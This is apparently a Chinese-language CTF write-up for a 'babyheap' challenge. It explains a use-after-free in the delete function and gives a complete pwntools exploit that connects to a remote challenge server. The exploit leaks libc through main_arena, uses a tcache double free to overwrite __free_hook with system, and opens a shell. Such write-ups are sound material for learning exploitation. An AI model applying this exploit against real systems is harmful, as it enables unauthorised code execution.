程序大体一个菜单程序,漏洞点存在于delete函数,free后指针未置零,存在uaf
{
signed int v2; // [rsp-Ch] [rbp-Ch]
__int64 v3; // [rsp-8h] [rbp-8h]
__asm { endbr64 }
v3 = a1;
sub_10D0("input index: ");
v2 = input_num();
if ( v2 < 0 || v2 > 6 || !heap[v2] )
{
sub_10D0("Incorrect idx");
sub_1130(0LL);
}
return sub_10C0(heap[v2]); <-------------------此处指针未置零
}
可以利用edit的编辑功能,编辑free后的堆绕过libc2.27的doublefree检测,本题最大可申请0x7f的size,对应的是0x90大小的chunk,堆释放doublefree填满tcache后会大于fastbin大小0x80释放到unsortbin中,利用uaf泄露main_arena,得出libc_base,system,free_hook的地址,然后利用doublefree漏洞达到任意地址申请,申请堆到free_hook,改它的值为system,释放填着/bin/sh\x00的堆来触发shell
exp:
from pwn import *
#from LibcSearcher import *
local_file = './babyheap'
local_libc = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('1.14.97.218',20632 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
gdb.attach(r,cmd)
#----------------------
def add(size):
sla('input your choice: \n','1')
sla('input size: \n',str(size))
def edit(index,content):
sla('input your choice: \n','2')
sla('input index: \n',str(index))
sla('input content: \n',content)
def show(index):
sla('input your choice: \n','3')
sla('input index: \n',str(index))
def free(index):
sla('input your choice: \n','4')
sla('input index: \n',str(index))
#-------------------------
add(0x7f)
add(0x7f)
add(0x7f)
add(0x7f)
add(0x20)
free(0)
edit(0,'a'*0x78)
free(0)
free(1)
edit(1,'a'*0x78)
free(1)
free(2)
edit(2,'a'*0x78)
free(2)
free(3)
edit(3,'a'*0x70)
free(3)
free(1)
show(3)
#debug()
addr=uu64(ru('\x7f')[-6:])
print(hex(addr))
malloc_hook=addr-96-0x10
libc_base=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
print(hex(free_hook))
#--------------------------
print(hex(libc_base))
edit(3,p64(free_hook))
add(0x7f)
add(0x7f)
edit(6,p64(system))
edit(4,'/bin/sh\x00')
free(4)
#---------------------
#debug()
r.interactive()